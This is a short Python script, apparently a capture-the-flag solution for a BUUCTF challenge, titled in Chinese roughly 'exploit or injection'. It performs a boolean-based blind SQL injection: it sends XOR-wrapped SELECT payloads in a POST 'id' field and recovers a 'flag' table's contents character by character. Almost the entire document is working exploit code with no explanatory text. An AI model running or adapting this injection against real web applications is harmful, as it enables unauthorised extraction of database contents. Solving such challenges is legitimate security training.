利用抑或注入
# coding=utf-8 import requests dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,-{}" url = "http://f1f5f36b-b735-4827-8ff2-1582d26acb7b.node3.buuoj.cn/index.php" keyword = "Error Occured When Fetch Result" string = "" for i in range(1, 50): for j in dic: payload = "1^(SELECT(ASCII(MID((SELECT((flag))FROM(flag)),{0},1))={1}))^1=1".format(str(i), ord(j)) data = { 'id': payload } url_get = url # print(url_get) content = requests.post(url_get, data=data) #print(len(content.text)) if keyword not in content.text and 'bool(false)' not in content.text: string += j print(string) break print("result = " + string)